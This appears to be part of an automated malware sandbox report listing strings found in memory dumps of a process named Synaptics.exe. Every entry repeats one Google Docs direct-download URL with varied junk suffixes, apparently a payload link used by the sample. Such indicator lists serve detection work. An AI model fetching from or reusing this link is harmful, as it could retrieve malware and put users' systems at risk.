Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3975935402.000000000F144000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4173459533.000000003D478000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4036918081.000000001D766000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4048983631.000000001DA11000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4162497563.000000003D214000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4189762496.000000003D827000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4152719967.000000003CFD6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000003.1638832091.0000000000736000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3978093065.000000000F1FA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3798952705.0000000007252000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download=
Source: Synaptics.exe, 00000005.00000002.3798952705.0000000007206000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download=#
Source: Synaptics.exe, 00000005.00000002.3798952705.00000000072EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download=GJi
Source: Synaptics.exe, 00000005.00000002.4051796514.000000001DAE1000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3771674892.00000000006CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download=o
Source: Synaptics.exe, 00000005.00000002.3798952705.00000000071B3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3975935402.000000000F144000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4062607736.000000001DDC5000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4173459533.000000003D478000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4061159510.000000001DD5D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4036918081.000000001D766000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4178945462.000000003D5A7000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4048983631.000000001DA11000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4043781467.000000001D8C0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4189762496.000000003D827000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4152719967.000000003CFD6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3771674892.0000000000713000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4042244363.000000001D848000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3798952705.000000000729C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3985224358.000000000F3DC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3985224358.000000000F3AF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4046389003.000000001D96B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3798952705.0000000007252000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download?
Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3975935402.000000000F144000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4173459533.000000003D478000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4061159510.000000001DD5D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4036918081.000000001D766000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4048983631.000000001DA11000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4162497563.000000003D214000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4189762496.000000003D827000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4152719967.000000003CFB6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4042244363.000000001D848000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3985224358.000000000F3DC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3985224358.000000000F3AF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4046389003.000000001D96B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadA
Source: Synaptics.exe, 00000005.00000002.3975935402.000000000F18A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadAA
Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadAGEAAv
Source: Synaptics.exe, 00000005.00000002.3798952705.00000000072EC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3975935402.000000000F144000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4173459533.000000003D478000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4162497563.000000003D214000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4189762496.000000003D827000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4152719967.000000003CFD6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3978093065.000000000F1FA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3985224358.000000000F3AF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3798952705.0000000007252000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadB
Source: Synaptics.exe, 00000005.00000002.3798952705.00000000072EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadBHgh
Source: Synaptics.exe, 00000005.00000002.3798952705.00000000071B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadBY
Source: Synaptics.exe, 00000005.00000002.4051796514.000000001DAE1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadBp
Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4042244363.000000001D848000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadBulun
Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3974058499.000000000F0D5000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3975935402.000000000F144000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4062607736.000000001DDC5000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4178945462.000000003D5A7000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4043781467.000000001D8C0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4162497563.000000003D214000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4189762496.000000003D827000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4152719967.000000003CFD6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3771674892.0000000000713000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4042244363.000000001D848000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadC
Source: Synaptics.exe, 00000005.00000002.3798952705.00000000072EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadCLdl5
Source: Synaptics.exe, 00000005.00000002.3974058499.000000000F0D5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadCache
Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4042244363.000000001D848000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadConne
Source: Synaptics.exe, 00000005.00000002.4161328936.000000003D1BA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3975935402.000000000F144000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3798952705.0000000007206000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3793507301.00000000053AE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4056791504.000000001DC3B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4173459533.000000003D478000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4036918081.000000001D766000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4188188699.000000003D7CD000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4048983631.000000001DA11000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3979963048.000000000F282000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4162497563.000000003D214000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3978093065.000000000F232000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3793507301.0000000005453000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4189762496.000000003D827000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4152719967.000000003CFD6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3798952705.000000000729C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3985224358.000000000F3AF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3798952705.0000000007252000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadD
Source: Synaptics.exe, 00000005.00000002.4056791504.000000001DC3B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4055649928.000000001DBD5000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4048983631.000000001DA11000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4150630242.000000003CF06000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4162497563.000000003D214000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4152719967.000000003CFB6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4042244363.000000001D848000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadDe
Source: Synaptics.exe, 00000005.00000002.4056791504.000000001DC3B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadDe0
Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4061159510.000000001DD5D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4043781467.000000001D8C0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4046389003.000000001D96B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadDene
Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadDene0
Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4048983631.000000001DA11000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadDenet
Source: Synaptics.exe, 00000005.00000002.3798952705.00000000072EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadEDln
Source: Synaptics.exe, 00000005.00000002.3798952705.00000000072EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadEJbjc
Source: Synaptics.exe, 00000005.00000002.3974058499.000000000F0D5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadErc_
Source: Synaptics.exe, 00000005.00000002.3798952705.0000000007181000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3975935402.000000000F144000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4173459533.000000003D478000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4036918081.000000001D766000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4048983631.000000001DA11000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4162497563.000000003D214000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4189762496.000000003D827000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4152719967.000000003CFD6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000003.1638832091.0000000000736000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3771674892.0000000000713000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4042244363.000000001D848000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3798952705.000000000729C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3985224358.000000000F3DC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3985224358.000000000F3AF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4046389003.000000001D96B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadF
Source: Synaptics.exe, 00000005.00000002.3798952705.00000000072EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadFNcn
Source: Synaptics.exe, 00000005.00000002.4051796514.000000001DAE1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadFv
Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3975935402.000000000F144000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3793507301.00000000053AE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4062607736.000000001DDC5000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3975935402.000000000F18A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4173459533.000000003D478000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4061159510.000000001DD5D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4055649928.000000001DBD5000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4178945462.000000003D5A7000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4048983631.000000001DA11000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4150630242.000000003CF06000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4043781467.000000001D8C0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4162497563.000000003D214000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4189762496.000000003D827000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4152719967.000000003CFD6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000003.1638832091.0000000000736000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3771674892.0000000000713000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4152719967.000000003CFB6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3771674892.0000000000765000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4042244363.000000001D848000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3978093065.000000000F1FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadG
Source: Synaptics.exe, 00000005.00000002.3798952705.00000000072EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadGG
Source: Synaptics.exe, 00000005.00000002.4051796514.000000001DAE1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadGo
Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3974058499.000000000F0D5000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4161328936.000000003D1BA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3975935402.000000000F18A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4173459533.000000003D478000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4061159510.000000001DD5D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4188188699.000000003D7CD000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4048983631.000000001DA11000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4043781467.000000001D8C0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3793507301.0000000005453000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4189762496.000000003D827000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4152719967.000000003CFD6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4042244363.000000001D848000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3985224358.000000000F3AF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4046389003.000000001D96B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3798952705.0000000007252000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadH
Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadHA.x
Source: Synaptics.exe, 00000005.00000002.3798952705.00000000072EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadHD
Source: Synaptics.exe, 00000005.00000002.3798952705.00000000072EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadHJyjd
Source: Synaptics.exe, 00000005.00000002.4051796514.000000001DAE1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadHr
Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3975935402.000000000F144000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4173459533.000000003D478000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4036918081.000000001D766000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4048983631.000000001DA11000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3979963048.000000000F282000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4162497563.000000003D214000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3978093065.000000000F232000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3793507301.0000000005453000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4189762496.000000003D827000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4152719967.000000003CFD6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4042244363.000000001D848000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3798952705.000000000729C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3985224358.000000000F3DC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4046389003.000000001D96B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadI
Source: Synaptics.exe, 00000005.00000002.3798952705.00000000072EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadIN~n
Source: Synaptics.exe, 00000005.00000002.4051796514.000000001DAE1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadIv
Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3975935402.000000000F144000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4173459533.000000003D478000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4048983631.000000001DA11000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4043781467.000000001D8C0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4162497563.000000003D214000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4189762496.000000003D827000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4152719967.000000003CFD6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3789180579.0000000002120000.00000004.00001000.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3771674892.0000000000765000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3798952705.0000000007252000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadJ
Source: Synaptics.exe, 00000005.00000002.3798952705.0000000007206000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadJ#dl5
Source: Synaptics.exe, 00000005.00000002.3798952705.00000000072EC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4155336317.000000003D06F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadJG
Source: Synaptics.exe, 00000005.00000002.3974058499.000000000F0D5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadJZsl
Source: Synaptics.exe, 00000005.00000002.3798952705.0000000007206000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadJc
Source: Synaptics.exe, 00000005.00000002.4051796514.000000001DAE1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadJo
Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3793507301.00000000053AE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4062607736.000000001DDC5000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4173459533.000000003D478000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4061159510.000000001DD5D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4178945462.000000003D5A7000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4048983631.000000001DA11000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4043781467.000000001D8C0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4035966318.000000001D6C4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4189762496.000000003D827000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4152719967.000000003CFD6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3771674892.0000000000765000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3985224358.000000000F3AF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4046389003.000000001D96B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3798952705.0000000007252000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadK
Source: Synaptics.exe, 00000005.00000002.3798952705.00000000072EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadK&
Source: Synaptics.exe, 00000005.00000002.3798952705.00000000072EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadKK
